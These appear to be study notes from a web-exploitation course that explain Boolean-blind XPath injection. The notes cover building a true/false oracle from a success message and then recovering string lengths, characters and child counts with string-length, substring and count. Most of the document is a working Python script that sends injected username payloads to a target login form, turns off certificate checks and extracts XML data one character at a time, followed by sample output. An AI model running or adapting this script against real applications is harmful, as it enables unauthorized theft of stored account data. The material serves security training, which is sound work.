Boolean Blind
Boolean-blind XPath: oracle + length + char extraction
An XPath Boolean oracle turns one true-or-false XPath condition into an observable application response. A true injected condition makes the application display a known success marker. Repeating these tests recovers the selected XML value one fact at a time.
The extraction process is:
1. Select an XPath expression that returns the required string.
2. Test string-length(<TARGET>)=<NUMBER> until the length is found.
3. Test substring(<TARGET>,<POSITION>,1)='<CHARACTER>' for each position.
4. Keep the character whose condition produces the success marker.XPath string positions begin at 1. name(/*[1]) returns the name of the document’s first root element, while a path ending at a leaf element returns that element’s text. Passing either expression through the target parameter lets the same length_of() and extract() functions recover names or values.
count(<PATH>/*)=<NUMBER> uses the same oracle to determine how many child elements exist below a path. That count supplies the bounds required by a later tree walk.
import requests, urllib3, string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
URL = "https://target/index.php"
PROXIES = {}
CHARSET = string.ascii_letters + string.digits + "_-@.{}"
# Condition OR'd into a suppressed query; TRUE -> success marker echoed.
# expr is any XPath number (string-length) or boolean (substring()=...).
def oracle(expr):
data = {"username": f"invalid' or {expr} and '1'='1", "msg": "test"}
r = s.post(URL, data=data, verify=False, timeout=10, proxies=PROXIES)
is_true = r.status_code == 200 and "Message successfully sent!" in r.text
return is_true
# Length of any string-valued XPath: a leaf's text, or name(<path>).
def length_of(target):
n = 0
while not oracle(f"string-length({target})={n}"):
n += 1
return n
# Char-by-char extraction of any string-valued XPath via substring().
def extract(target):
out = ""
for i in range(1, length_of(target) + 1):
for c in CHARSET:
if oracle(f"substring({target},{i},1)='{c}'"):
out += c
print(f"[+] {target} -> {out}", end="\r")
break
print()
return out
# root name: extract("name(/*[1])")
# leaf text: extract("/*[1]/*[1]/*[1]")
# child count:
# for k in range(0, 50):
# if oracle(f"count(/*[1]/*)={k}"):
# print(k)
# breakoracle signal
TRUE -> body contains 'Message successfully sent!'
FALSE -> marker absent
[+] name(/*[1]) -> accountsFind by: xpath blind boolean oracle substring string-length name() count children dump char-by-char node name text · Source: CWEE/XPath Injection - Blind Boolean